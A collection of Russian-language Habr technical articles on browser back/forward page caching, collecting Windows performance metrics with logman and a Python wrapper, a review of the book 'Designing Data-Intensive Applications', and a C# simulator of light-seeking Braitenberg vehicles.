В shell-скриптах будет записана одна и та же команда триггер Liquibase. Как только shell-скрипты будут выполнены, содержащие их changeset (наборы изменений) Liquibase будут выполнены автоматически.
Вы можете задаться вопросом, как shell-скрипты узнают, когда выполнять команду? Ответ прост:
* Shell-скрипты могут выполняться на триггерах cron.
* Shell-скрипты могут быть выполнены при некоторых системных событиях.
Выбор за вами!
---
> Узнать подробнее об [**экспресс-курсе по управлению миграциями (DBVC)**](https://otus.pw/3yKP/)
>
> | https://habr.com/ru/post/557008/ | null | ru | null |
# Back/Forward Cache — механизм кеширования страниц в браузере
Начиная с версии 1.5, в Firefox появился механизм кеширования, сохраняющий состояние страницы в памяти. Кеширование действует на одну сессию браузера. Перемещаясь по посещенным страницам с использованием кнопок «Назад/Вперёд», нет необходимости загружать страницу с сервера целиком. При этом вся страница, включая js-скрипты, как бы «консервируются» в том состоянии, в котором они были, когда пользователь их покидал. Данный механизм позволяет производить навигацию по посещенным страницам крайне быстро. Состояние кеша остается неизменным, пока действует сессия браузера (пока пользователь не закроет закладку, или браузер).
##### Не «баг», а «фича»
Помимо прочего, непонимание данного механизма браузеров вызывает настоящую головную боль у разработчиков. Рассмотрим пример.
Есть форма, данные которой мы хотим отправить на сервер. Мы хотим как-то визуализировать этот процесс и запускаем спиннер при отправке формы. Браузер переходит на следующую страницу. Если мы вернемся назад, используя кнопку браузера «Назад» (или через *window.history.back()*), то скорее всего увидим, что спиннер так и вращается, хотя на самом деле уже ничего не происходит.
Разработчик может посчитать, что данное поведение ни что иное как баг браузера или какая-то его особенность, и в поисках быстрого решения бездумно вставить лишний обработчик на событие unload (первый пункт в списке, приведенном дальше). Тем самым разработчик отказывается от BFCache вообще, тем самым лишая своих пользователей возможности практически мгновенного перемещения по посещенным страницам.
##### Условия работы
Механизм кеширования страниц не работает, если:
* на странице определены обработчики для событий *unload*, *beforeunload*;
* для страницы установлен *Сache-control: no-store;*
* сайт находится под HTTPS и для страницы установлено хотя бы одно из следующих правил:
+ *Cache-Control: no-cache*
+ *Pragma: no-cache*
+ *Expires: 0* или «Expires» указан в прошлом относительно заголовка «Date» (за исключением когда
+ "*Cache-Control: max-age=*" также указан)
* страница не полностью загрузилась;
* страница использует механизм транзакций *IndexedDB*;
* страница верхнего уровня содержит frame, iframe (которые, к слову не кешируются никогда).
##### События *pageshow*, *pagehide*
С появлением BFCache, вместе с ним, появились два новых события. Чтобы приблизиться к ним поближе, рассмотрим стандартное поведение веб-страницы:
1. Пользователь переходит на страницу.
2. С загрузкой страницы выполняются js-скрипты.
3. Как только страница загрузилась, возникает событие *load*.
Для некоторых страниц существует и 4 шаг. Если на странице используются обработчики для *unload*, *beforeunload*, то эти события вызываются браузером в момент, когда пользователь покидает страницу. В этом случае страница не закешируется.
Когда пользователь возвращается на закешированную страницу, скрипты не выполняются заново, и событие *load* также не возникает (шаги 2,3), т.к. в большинстве случаев эта работа не нужна, и поэтому состояние страницы остается прежним.
Если необходима возможность выполнения скриптов каждый раз, когда пользователь оказывается на странице, следует использовать событие pageshow.
Аналогично, если необходимо проводить действия, когда пользователь покидает страницу, то следует использовать событие pagehide.
###### Событие pageshow
Это событие срабатывает точно также как и событие *load*, за исключением того, что оно вызывается каждый раз когда пользователь попадает на страницу (а событие load, не возникает на закешированной странице). При первой загрузке страницы, событие pageshow возникает сразу после события *load*.
Событие pageshow содержит в себе булевое свойство **persisted**, которое равно *false* при первой загрузке страницы. Оно устанавливается в *true*, если страница закеширована браузером (т.е. если это не первая загрузка страницы).
###### Событие *pagehide*
Если необходимо определить поведение для момента, когда пользователь покидает страницу, но нет желания использовать *unload* событие (которое не даст странице закешироваться), следует использовать событие *pagehide*.
Как и pageshow, pagehide содержит булевое свойство **persisted**. Аналогично, оно имеет значение *false* если страница не закеширована, и *true* в обратном случае.
Если это свойство установлено в *false*, то обработчик *unload* выполняется незамедлительно после события *pagehide*.
##### Кеширование несмотря на *unload* и *beforeunload*
Если возникла ситуация, когда нужно использовать события unload, beforeunload, но при этом сохранить возможность *BFCache*, можно просто удалить эти события в их обработчике, и переназначить их в обработчике события pageshow:
```
window.addEventListener('pageshow', PageShowHandler, false);
window.addEventListener('unload', UnloadHandler, false);
function PageShowHandler() {
window.addEventListener('unload', UnloadHandler, false);
}
function UnloadHandler() {
window.removeEventListener('unload', UnloadHandler, false);
}
```
##### Кроссплатформенность
Механизм *BFCache* появился в Firefox 1.5, и уже давно активно поддерживается всеми современными браузерами. Для проверки поддержки браузерами, можно использовать следующий подход:
```
if ('onpagehide' in window) {
window.addEventListener('pagehide', exitFunction, false);
} else {
window.addEventListener('unload', exitFunction, false);
}
```
###### Ссылки по теме
[Using Firefox 1.5 caching](https://developer.mozilla.org/en-US/docs/Using_Firefox_1.5_caching)
[Working with BFCache](https://developer.mozilla.org/en-US/docs/Working_with_BFCache) | https://habr.com/ru/post/225091/ | null | ru | null |
# Опыт использования утилиты logman для сбора метрик производительности приложения в Windows
Введение
========
Добрый день!
В своем первом посте я хотел бы поделитьcя опытом использования такой утилиты как **logman**, с помощью которой можно собирать информацию о потреблении ресурсов (и не только) приложением под Windows.
В один из дней на работе была поставлена задача снятия метрик производительности для одного приложения под Windows. Главным условием было использовать по минимуму какие-либо сторонние утилиты, и так как опыта в подобных вещах у меня к тому времени не было, немного покопавшись, выбор пал на logman. Особой точности не требовалось и надо было лишь понять характер потребления ресурсов приложением, для чего logman с первого взгляда вполне подходил.
Итак, перейдем непосредственно к сути поста.
Что же такое logman?
====================
Многие из вас скорее всего в работе или для домашних нужд использовали нативную Windows утилиту Performance monitor (perfmon). Так вот logman — это грубо говоря command line представление perfmon'а. Он позволяет создавать, запускать, останавливать счетчики производителности, писать результат во внешние файлы и много чего еще. Мне был необходим только базовый функционал, который я и опишу ниже.
Основные операции
=================
Небольшое замечание: для выполнения нижеследующих операций необходимо обладать правами администратора, иначе может вылететь такая ошибка.
```
Ошибка:
Отказано в доступе.
Используется ограниченный токен, используйте расширенный.
```
### Просмотр созданных и запущенных счетчиков
Посмотреть список сборщиков данных можно командой `logman`
В результате чего будет получен примерно такой вывод:
```
Группа сборщиков данных Тип Состояние
-------------------------------------------------------------------------------
cpu Счетчик Остановлено
Команда выполнена успешно.
```
### Создание счетчика производительности
Для создания счетчика я использовал следующую команду (с полным списком опций можно ознакомиться в [официальной документации](http://technet.microsoft.com/en-us/library/bb490956.aspx).):
```
logman create counter "counter_name" -f csv -si "interval" --v -o "output_file" -c counter
```
* counter\_name — имя счетчика. Может быть любым, например «explorer\_cpu»
* -f — формат файла с результатами измерений
* --v — эта опция подавляет вывод версии в выходном файле
* -si — интервал. с которым будут записываться измерения
* -o — файл с результатами измерений
* -c — идентификатор счетчика производительности
Остановимся подробнее на последней опции. Чтобы понять, что вписывать в поле «counter», можно проследовать в perfmon, создать группу сборщиков данных и выбрать «Создать -> Сборщик данных». Далее выбрать «Добавить счетчик» и в появившемся окне найти интересующий нас тип счетчика.
Меня интересовало потребление cpu и памяти конкретным процессом, поэтому я использовал для измерений следующие счетчики (в расчете CPU мне помог [следующий пост](http://social.technet.microsoft.com/Forums/en-US/434b88e3-ee4b-4880-81f0-2e0f11c9f02a/perfmon-logman-process-cpu-counter-higher-than-cpu-total?forum=perfmon)):
* "\Processor(\_Total)\% User time" — процент CPU в пользовательском режиме
* "\Process(application\_name)\% Processor time" — доля CPU приложения от пользовательского режима
* "\Process(application\_name)\Working Set" — использование оперативной памяти процессом
Процент потребления CPU процессом можно расчитать как ("\Processor(\_Total)\% User time" \* "\Process(application\_name)\% Processor time") / (количество\_процессоров \* 100)
Счетчики можно записывать через пробел, тогда в выходном файле значения будут каждый в своем столбце.
В итоге приведу пример готовой команды для создания счетчика:
```
logman create counter "explorer-cpu.usage" -f csv -si 1 --v -o "d:\logman-test\raw\explorer-cpu.usage.csv" -c "\Processor(_Total)\% User time" "\Process(explorer)\% Processor time"
```
### Запуск и остановка счетчика
Выполняются соответствующими командами:
```
logman start "counter_name"
```
```
logman stop "counter_name"
```
### Удаление счетчика
Удалить счетчик можно следующей командой (он обязательно должен быть перед этим остановлен):
```
logman delete "counter_name"
```
Обертка на Python
=================
Прежде чем перейти к коду, хотелось бы рассказать о небольшой (хотя для меня она стала довольно существенной) проблеме, которая возникла в ходе сбора метрик.
Так как собирать данные предполагалось за довольно небольшой промежуток времени (5-15 секунд), то стало понятно, что интервал сбора в 1 с (задаваемый через опцию "-si") слишком большой. Поискав на просторах интернета и в оф. документации, мне не удалось найти способ, которым этот интервал можно было уменьшить, а количество получаемых точек на графике очень хотелось увеличить. Немного поразмыслив, я решил пойти от противного — если нельзя уменьшить интервал, то можно увеличить количетство счетчиков. Таким образом, запуская подряд несколько сборщиков с интервалом в 100-500 миллисекунд, можно получить за одну секунду сколько нужно данных.
Процесс сбора данных должен был быть интегрирован в существующий автоматический тест и в конечном была написана небольшая вспомогательная обертка для выполения всех вышеуказанных действий.
Ниже представлен исходный код модуля, собирающий данные по CPU и оперативной памяти для указанного приложения с требуемой точностью.
**pylogman.py**
```
import os
import logging
import random
import time
import subprocess
import glob
import multiprocessing
CPU_USER_COUNTER = '"\Processor(_Total)\% User time"'
CPU_APP_COUNTER = '"\Process({app})\% Processor time"'
MEMORY_COUNTER = '"\Process({app})\Working Set"'
APP_PLACEHOLDER = '{app}'
class PerflogManager(object):
def __init__(self, app_name, precision, results_dir, max_mem=1, interval=1):
"""
Args:
app_name: name of the application without "exe" extention
precision: amount of
results_dir: output folder
max_mem: this value is used to calculate % from total avaliable memory for further plotting
interval: interval which will be used as "-si" logman option value
"""
self._app_name = app_name
self._precision = precision
self._counters = { 'cpu.usage': '{cpu_user} {cpu_app}'.format(cpu_user=CPU_USER_COUNTER,
cpu_app=CPU_APP_COUNTER).replace(APP_PLACEHOLDER, app_name),
'mem.usage': MEMORY_COUNTER.replace(APP_PLACEHOLDER, app_name) }
self._results_dir = os.path.normpath(results_dir)
self._raw_dir = os.path.join(self._results_dir, 'raw')
self._final_dir = os.path.join(self._results_dir, 'csv')
self._interval = interval
self._max_mem = max_mem
self._collectors = []
if not os.path.exists(self._results_dir):
os.makedirs(self._results_dir)
os.makedirs(self._raw_dir)
os.makedirs(self._final_dir)
logging.info('Directory "{path}" for logman results has been created.'.format(path=self._results_dir))
logging.info('Performance logman manager has been created for "{}" application.'.format(self._app_name))
def init_collectors(self):
"""
Creates collectors by "logman create" command
"""
logging.info('Creating collectors set...')
for lang in self._counters:
for idx in range(self._precision):
collector = '{app}-{collector}-{id}'.format(app=self._app_name,
collector=lang,
id=idx)
output = os.path.join(self._raw_dir, collector + '.csv')
self.__create(collector, self._counters[lang], output)
self._collectors.append(collector)
def start_all(self):
"""
Starts all the collectors from self._collectors list
"""
for collector in self._collectors:
self.__start(collector)
time.sleep(random.uniform(0.1, 0.9))
def stop_all(self):
"""
Stops and deletes all initiated collectors from self._collectors list
"""
for collector in self._collectors:
self.__stop(collector)
self.__delete(collector)
def cleanup(self):
"""
Cleans raw_dir directory which contains unprocessed csv file from logman
"""
logging.info('Cleaning results directory from unnecessary files.')
for collector in self._collectors:
csv = os.path.join(self._raw_dir, '{}.csv'.format(collector))
if os.path.isfile(csv):
os.remove(csv)
def process_csv(self):
"""
Composes and formats data from all counters for further plotting
"""
for lang in self._counters:
final_output = os.path.join(self._final_dir, '{}.csv'.format(lang))
self.__compose_csv(final_output, lang)
self.__format_data(final_output)
def __compose_csv(self, output, counter):
"""
Concatenates gathered csv data to one file
"""
logging.info('Composing file "{}".'.format(output))
try:
with open(output, 'a') as outfile:
for csv in glob.glob(os.path.join(self._raw_dir, '*{}*'.format(counter))):
with open(csv, 'r') as file:
outfile.writelines(file.readlines()[1:]) # Get rid of a file header with service info
logging.info('File {} successfully created.'.format(output))
except (FileNotFoundError, IOError) as e:
logging.error('Failed to compose file {file}: {exception}'.format(file=output,
exception=e))
def __format_data(self, file):
"""
Sorts data after self.__compose_csv function and calculates % of CPU and Memory
"""
try:
with open(file, 'r') as csv:
raw_data = csv.readlines()
with open(file, 'w') as csv:
sorted_data = [line.replace('"', '').replace(',', ';')
for line in sorted(raw_data)
if '" "' not in line]
csv_data = []
if 'cpu' in file:
for line in sorted_data:
time, cpu_user, cpu_app = line.split(';')
cpu = (float(cpu_user) * float(cpu_app)) / (multiprocessing.cpu_count() * 100)
csv_data.append('{};{:.2f}\n'.format(time, cpu))
if 'mem' in file:
for line in sorted_data:
time, total_memory = line.split(';')
mem = float(total_memory) / (self._max_mem * 10000)
csv_data.append('{};{:.2f}\n'.format(time, mem))
csv.writelines(csv_data)
except (FileNotFoundError, IOError) as e:
logging.error('Failed to process file "{file}": {exception}'.format(file=file,
exception=e))
def __logman(self, cmd):
"""
Default wrapper for logman commands
Args:
cmd: windows command to be executed
"""
try:
logging.debug('Running {}'.format(cmd))
subprocess.check_call(cmd)
except (subprocess.CalledProcessError, OSError) as e:
logging.error('Failed to execute command "{}": {}.'.format(cmd, e))
def __create(self, name, counter, output):
"""
Creates logman counter
Args:
name: uniq name of a collector
counter: type of the counter (can be taken from perfmon)
output: csv file for results
"""
logging.info('Creating collector "{}"'.format(name))
cmd = 'logman create counter "{name}" -f csv -si {interval} ' \
'--v -o "{output}" -c {counter}'.format(name=name,
interval=str(self._interval),
output=output,
counter=counter)
self.__logman(cmd)
def __start(self, name):
"""
Starts logman collector
Args:
name: uniq name of a collector
"""
logging.info('Starting collector "{}".'.format(name))
cmd = 'logman start {}'.format(name)
self.__logman(cmd)
def __stop(self, name):
"""
Stops logman collector
Args:
name: uniq name of a collector
"""
logging.info('Stopping collector "{}".'.format(name))
cmd = 'logman stop {}'.format(name)
self.__logman(cmd)
def __delete(self, name):
"""
Deletes logman collector
Args:
name: uniq name of a collector
"""
logging.info('Deleting collector "{}".'.format(name))
cmd = 'logman delete {}'.format(name)
self.__logman(cmd)
if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)
app = 'skype'
start_time = time.strftime('%Y%m%d-%H%M%S', time.gmtime())
logman = PerflogManager(app, 3, 'd:/logman-test/')
logman.init_collectors()
logman.start_all()
time.sleep(20)
logman.stop_all()
logman.process_csv()
```
Заключение
==========
В заключении хотелось бы сказать, что logman — довольно полезная утилита, если небходимо с минимальными затратами автоматизировать сбор метрик производительности под Windows. В сжатые сроки мне не удалось найти более удобного способа, так что буду рад узнать о других путях и подходах в решении такого рода задач в комментариях. | https://habr.com/ru/post/203692/ | null | ru | null |
# DDIA book (книга с кабанчиком) — сделай level up в понимании баз данных
Несколько месяцев назад на одной из ретроспектив мы решили попробовать совместное чтение.
Наш формат:
1. Выбираем книгу.
2. Определяем часть, которую необходимо прочитать за неделю. Выбираем небольшой объем.
3. В пятницу обсуждаем прочитанное.
4. Читаем в нерабочее время, обсуждаем в рабочее.
5. После окончания книги совместно выбираем следующую.
Что дает:
1. Мотивация на чтение и дочитывание.
2. Развитие скиллов (в том числе на будущее).
3. Выравнивание майндсета и терминологии в команде.
4. Рост доверия.
5. Лишний повод пообщаться.
Одна из недавних книг, которую мы читали — [Designing Data-Intensive Applications](https://dataintensive.net/). Да-да, та самая книга с кабанчиком. И эта книга настолько всем понравилась, что я решил сделать здесь обзор, чтобы большее количество людей ее прочитали.
[Карта в исходном качестве](https://d3ansictanv2wj.cloudfront.net/ddia-poster-web-89b1c62f6eb4b57336c6cbe2148cc9a9.jpg)
> Есть перевод этой книги на русский от Издательства Питер. Но мы читали в оригинале, поэтому не обещаю, что переводы терминов совпадут. Более того часть терминов мы осознанно не переводили.
Начальная часть книги посвящена основам систем обработки данных.
**В первой главе** указывается, что важными свойствами таких систем являются надежность, масштабируемость и удобство сопровождения.
**Вторая глава** описывает различные модели данных. Описаны привычные реляционные и документоориентированные СУБД, так и менее известные графовые и колоночные базы данных.
Первые главы вводят в курс дела, устанавливают рамки книги. Во многих местах дальше автор ссылается на первые главы. Справедливости ради, можно сказать, что книга полна перекрестными ссылками.
Что удивляет с первых же глав, так это количество источников (библиография есть после каждой главы). Ссылки на десятки статей (как блоги, так и научные) и книг скрупулезно расставлены по всем главам. Количество источников к некоторым главам превышает сотню.
**Третья глава** начинается с исходника простейшего key-value хранилища:
```
#!/bin/bash
db_set () {
echo "$1,$2" >> database
}
db_get () {
grep "^$1," database | sed -e "s/^$1,//" | tail -n 1
}
```
Это будет даже работать, очень хорошо на запись, но, конечно же, не без проблем при чтении.
И сразу же предлагаются варианты улучшения производительности. Описываются хэш-индексы, SSTable, b-tree и LSM-tree. Все это объясняется на пальцах, но при этом показано, как та или иная структура используется в привычных нам базах данных.
Нацеленность на практику — еще одна отличительная черта книги. Большинство примеров и рецептов настолько практичны, что почти со всем релевантным я так или иначе сталкивался.
В **четвертой главе** описан encoding: от обычных JSON и XML до Protobuf и AVRO. Мы не всегда выбираем формат осознанно, обычно он навязан той или иной технологией в целом. Но круто понимать как устроено внутри, какие сильные-слабые стороны формата.
> Автор специально не стал использовать термин сериализация, так как этот термин в базах данных имеет еще одно значение.
Содержание глав намного богаче моего краткого представления. В первой части также описаны отличия между OLTP и OLAP, как устроены полнотекстовый поиск и поиск в колоночных БД, REST и брокеры сообщений.
Вторая часть книги рассказывает о распределенных системах обработки данных. Почти все современные мало-мальски нагруженные системы имеют несколько реплик или подсистем (микросервисы).
> Когда мы только начали практиковать совместное чтение, мы просто обсуждали свои заметки, интересные места и мысли. В какой-то момент мы поняли, что нам не хватает просто разговоров, после обсуждения все быстро забывается. Тогда мы решили усилить нашу практику и добавили заполнение mind map. Нововведение пришлось как раз на эту книгу. Начиная со второй части, мы начали вести **mind map** для каждой главы. Поэтому дальше каждая глава будет с нашим mind map. Мы использовали coggle.it
**В пятой главе** описывается репликация.
[](https://coggle.it/diagram/Wz85QqfTAkfoY7WB/t/%D1%80%D0%B5%D0%BF%D0%BB%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F)
Здесь собраны вся базовая информация о репликах: single-мастер, мультимастер, replication log и как жить с конкурентной записью в leaderless-системах.
**В шестой главе** описано партицирование (aka шардинг и пачка других терминов).
[](https://coggle.it/diagram/W0h5Qa_5PREgt_Ch/t/%D0%BF%D0%B0%D1%80%D1%82%D0%B8%D1%86%D0%B8%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) Вы узнаете, как разбивать данные на шарды, какие проблемы можно решить, а какие получить, как строить индексы и балансировать данные.
**Седьмая глава**: транзакции.
[](https://coggle.it/diagram/W0h5kK_5PVpDt_Lh/t/%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D0%B8)
Описаны феномены (read skew, write skew, phantom reads, etc) и каким именно образом уровни изоляции ACID-style баз данных помогают избежать проблем.
**Восьмая глава:** о проблемах специфичных для распределенных систем.
[](https://coggle.it/diagram/W1GyCg8lIrhRo8vD/t/%D0%BF%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D1%8B-%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D1%85-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC)
Автор выделяет важную мысль: если раньше система работала на одной машине, и в случае отказа вся система переставала работать (и принимать любые новые данные). Таким образом, данные после отказов оставались в консистентном состоянии, но сегодня, в эпоху реплик и микросервисов прекращает свою работу только часть системы. Таким образом, перед нами встает новая проблема: обеспечение согласованности данных в условиях частичного отказа, постоянных проблем с ненадежной сетью и т.п.
**В девятой главе** описывается согласованность и консенсус и вводится важной понятие: линеаризуемость. Помню, что глава тяжело заходила и укладывалась в голове)
[](https://coggle.it/diagram/W17hS-eO3HDq2kOP/t/%D1%81%D0%BE%D0%B3%D0%BB%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D1%8C-%D0%B8-%D0%BA%D0%BE%D0%BD%D1%81%D0%B5%D0%BD%D1%81%D1%83%D1%81)
В этой главе также описывается техника двухфазного коммита и его слабые места. Также в этой главе вы прочитает про гарантии упорядоченности. Как и что современные системы могут вам обеспечить.
Третья часть книги посвящена derived data (нет устоявшегося перевода). В итоге, автор озвучивает мысль, что все индексы, таблицы, материализованные вьюшки — это просто кэш над логом. Только лог содержит самые актуальные данные, все остальное запаздывает и используется для удобства.
**Десятая глава.**
[](https://coggle.it/diagram/W3arWhcxETNj4PSZ/t/%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%BD%D0%B0%D1%8F-%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
Если есть опыт с Hadoop или MapReduce, возможно, вы мало нового узнаете. Но я не работал и было очень интересно. Важный момент для меня — результат пакетной обработки сам по себе может стать основой для другой БД.
**Глава 11.** Потоковая обработка данных.
[](https://coggle.it/diagram/W4UlfbU2KLhN3dR7/t/%D0%BF%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%B2%D0%B0%D1%8F-%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
Описываются брокеры сообщений и чем AMPQ-style отличается от log-based. На самом деле глава содержит много другой информации. Было очень интересно читать.
**Последняя глава** про будущее. Чего ждать, чем уже заняты мысли исследователей и инженеров.
[](https://coggle.it/diagram/W4kXprU2KCp49BmO/t/%D0%B1%D1%83%D0%B4%D1%83%D1%89%D0%B5%D0%B5-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
На этом я заканчиваю свой обзор. Важно понимать, что я вынес только часть тезисов по каждой главе. У книги столь плотное содержание, что нет возможности кратко, но полноценно пересказать.
Лично я считаю эту книгу лучшей технической за последние несколько лет. Очень рекомендую ее прочитать. И не просто прочитать, но усердно проработать. Походить по ссылкам из библиографии, поиграться с реальными СУБД.
Прочитав эту книгу, вы легко ответите на многие вопросы в техническом интервью по базам данных. Но это не главное. Вы станете круче как разработчик, будете знать внутреннее устройство, сильные и слабые стороны различных БД и задумаетесь о проблемах распределенных систем.
Готов в комментариях обсудить как саму книгу, так и нашу практику совместного чтения.
Читайте книги! | https://habr.com/ru/post/423981/ | null | ru | null |
# Симулятор машинок Брайтенберга
Просто захотелось написать симулятор машинок Брайтенберга. Корни у этой вещи растут из идей построения простеньких роботов, но также она интересна с точки зрения развития сложных систем.
[](https://habrahabr.ru/post/342154/)
Итак, что же это такое?
(Осторожно, в статье чрезвычайно много картинок и анимаций!)
**Машинка Брайтенберга** — автомат, на самой простой логике из минимального числа элементов, который, однако, демонстрирует сложное поведение, которое внешний наблюдатель может принять за разумное (простое выглядит как сложное, «понты» роботов).
Их описано 6 типов, на основе некой конструкции под названием **нейрод**. Нейрод может принимать тормозящий либо ускоряющий сигнал, который влияет на количество импульсов на выходе. Нейросеть таких нейродов (даже самая простая: 2-8 элементов) может создавать несколько базовых моделей поведения. Принцип работы автоматов такой:
Сенсоры (реагируют на свет) -> сеть нейродов -> актуаторы (моторы)
Первый тип поведения, самый простой — когда нейродов нет и сигнал сенсора напрямую идёт к мотору. Тогда левый глаз крутит левый мотор тем сильнее, чем больше освещён, и тоже самое с правым. Такая система будет «убегать» от света.
Если перекрестить проводники (левый глаз к правому мотору и наоборот) то получим светолюбивого робота, он будет ехать, ускоряясь, к лампочке. О других типах подробнее по мере их моделирования.
Предполагалось (Брайтенбергом) посадить рой таких машинок 6 типов в комнату с лампочками, и тогда наблюдатель (гипотетический роботопсихолог) усмотрит в их передвижениях сложное поведение. Усмотрите ли такую сложность Вы — посмотрим. В статье будет много гифок с симуляциями =)
Пожайлуй сразу покажу такую комнату с несколькими машинками
Белые кружочки — лампочки. Цветные — автоматы разных типов.
Иногда красивее получается демонстрация с траекторией каждого автомата:
Итак, **приступим**. Первым я реализовал светолюбивый тип. Всю систему моделировать нет нужды. Сперва мне показалось что я могу просто поделить мощности источников света на на квадрат расстояния до них, сложить векторно и передать автомату полученый вектор «направление к свету» как вектор движения. Но получается совсем не то.
Во-первых — в системе Брайтенберга у машинки есть два светочувствительных элемента. Если они реализованы как направленные сенсоры, то смотрят вперёд, а если как ненаправленые, то не должны различать направления вперёд и назад. Так что я брал плоскость перпендикулярную вектору движения, и отражал «направление к свету», если оно указывало назад. Получились такие уши, которые не различают откуда раздался звук — спереди или сзади, а только справа или слева, и какой силы.
Во-вторых, апарат на колёсиках не может двигаться перпендикулярно вбок, у него есть максимальный угол поворота (за еденицу пройденого расстояния), максимальная скорость и инерция. Это всё я добавил обрезав угол вектор движения относительно вектора направления автоматона под некоторый максимальный, его же обрезав по модулю, и предварительно векторно сложив их: V\_new = Inertia \* V\_old + (1 — Inertia) \* LightDir.
**Как-то так (C#):**
```
...
switch (TypeOfAu)
{
case 1:
calcangle(); //заранее просчитываются cos и sin всех углов
GetLights(); //получаем вектор направления наибольшей освещ'нности
turn(true); //поворот системы координат на угол автомата
{
lightX = Math.Abs(lightX); // отражение векторов которые смотрели назад
SetMod(); // расчёт интенсивности света (модуль вектора света)
if (light > BackToNormalAfterProtectionClarion) Switch("state");
CutMod(); // обрезка по модулю к максимальной скорости
CutAng(ref lightX, ref lightY); // обрезка по допустимому углу поворота
}
turn(false); // возврат в исходную систему координат
break;
...
}
vx = (1 - inertia) * lightX * Vv + inertia * vx;
vy = (1 - inertia) * lightY * Vv + inertia * vy;
// Vv - константа реакции сенсора, переводит количество света в скорость
```
Результат:
В итоге стали заметны особенности — к примеру, видно что машинки проезжающие точно посередине между двумя лампочками продолжают движение. Всё хорошо, можем на основе этой создавать новый тип.
Теперь будет боязнь света. Для этого нужно сделать всё тоже, но отразить вектор движения относительно текущей ориентации машинки (не отражение относительно её координаты! Иначе опять получится физически нереальный аппарат).
**Изменения в коде**
```
...
case 2:
...
turn(true); // внутри блока действий в повёрнутой системе координат
{
...
lightY = -lightY; // одна строчка отражения соответсвует перепутыванию проводов левого и правого сенсоров
}
turn(false);
break;
...
```
Единственный минус — такие автоматы убегают с экрана и оставляют за собой пустое поле. Поставим им защитный механизм от убегания — при низком освещении они будут менять своё поведение на первую модель, пока не вернутся к лампочкам.
Настроим теперь машинки с парой нейродов. Первая будет повторять модель светолюбивой машинки, но со встроеными нейродами на линиях. С сенсора будет идти тормозящий сигнал на нейрод, а с нейрода сигнал пойдёт на мотор. Теперь чем больше светим на сенсор, тем меньше сигналов к мотору — тем медленнее едет машинка. Такая система будет иметь проводку как первая модель, но вести себя больше подобно второй — убегать от света. Но если у первой с удалением от источника падала скорость, то эта наоборот: будет ускоряться. Поправим код для вычисления модуля вектора движения соответствующим образом и вуаля:
Когда я сделал эту машинку в первый раз мне показалось что она работает правильно, но что-то было не так… Вот это первая версия, где я перепутал какой-то знак.
Красивее за ними наблюдать в режиме записи треков — они рисуют что-то вроде глаза.
Теперь следующая машинка. Опять перекрестим провода, но уже с нейродами на них (в коде — уберём последнее отражение вектора):
Эта машинка более мудрая, она не ломится к свету, рискуя разбить лампочку (а в реальной модели так и было бы), а останавливается поодаль, когда на сенсоры попадает достаточно света, чтобы тормозящий сигнал полностью остановил генерацию сигналов для мотора.
Номер пять. Машинка со сложной системой нейродов. За описанием можно посетить [эту статью](https://myrobot.ru/articles/stuff_braitenberg.php), а я пока расскажу как это делается простыми способами — добавляется барьер по количеству света, и меняется знак в операции отражения в зависимости от того выше порогового значения уровень света, или ниже. Реальная машинка должна убегать как третья, когда света мало, и ехать на свет как четвёртая, когда его много. Где-то будет ещё и внутренний круг, где она будет совсем останавливаться — я долго подбирал коэффициенты, часто менял их, но красивого убегания от «кромки света от костра» так и не добился. Всё равно внутренний круг остановки должен быть достаточно широким (занимать больше половины площади) — это связано с реализацией квадратичного затухания уровня света с увеличением расстояния, так что виновата физика, не я =)
**И последняя**. Эта должна менять свои модели по противоположному принципу — тянуться к свету когда его мало, и убегать когда много. Почитатели Азимова сразу поймут что такая машинка будет постоянно бегать по кругу на эквипотенциальной линии (линии постоянного уровня освещённости). И если продолжить прямую «безсенсорную» модель, которую я использовал до сих пор, то машинка будет просто доезжать до этой линии и останавливаться. В реальном мире её бег по кругу будет связан с тем что один из глаз находится внутри круга, а другой снаружи, и внутренняя нейродная структура создаст для алгоритма движения новый кейс — заставит двигаться перпендикулярно направлению на свет. Чтобы симулировать и этот тип автомата, мне пришлось добавить настоящее описание двух сенсоров, и чтобы на одном из них значение освещённости в какие-то моменты оказывалось ниже порогового, когда на другом — выше, нужно было разместить их на некотором расстоянии. Физическое расстояние между сенсорами называют **паралакс**ом (например между глазами человека, или двумя телескопами в одной системе). Вот машинка после моих допилов (глаза на гуи не рисовал).
**Код**
```
...
case 6:
calcangle();
double paralax = 0.01;
GetLights((angless) * paralax, (anglecs) * paralax);
SetMod();
double tempL = light; // значение интенсивности света в одном глазу из глобальной переменной переносится в темп - временную
GetLights((-angless) * paralax, (-anglecs) * paralax);
double CicleMaxSpeed = 4;
int sw = 0;
SetMod(); //после второго сетмода получаем два значения интенсивности света - одно в глобальной и одно во временной переменных, это значения на левом и правом глазу
...
```
Изменение паралакса приводит к изменению точности
При некоторых значениях автомат движется почти по ровным дугам, при других — по волнистым траекториям, постоянно то приближаясь то отдаляясь. Похожее поведение у роботов в гонке по линии.
Теперь закинем семейство из разнотипных автоматов на поле.
Первая версия в начале статьи мне показалась несколько скучной, поэтому я сначала заставил некоторые лампочки время от времени гаснуть и зажигаться… А затем и вовсе — сделал **перемешивающий алгоритм**, который раз в какое-то время меняет тип машинки на какой-то другой, с тем чтобы она прошла «все воплощения»:
[](https://imgbb.com/)
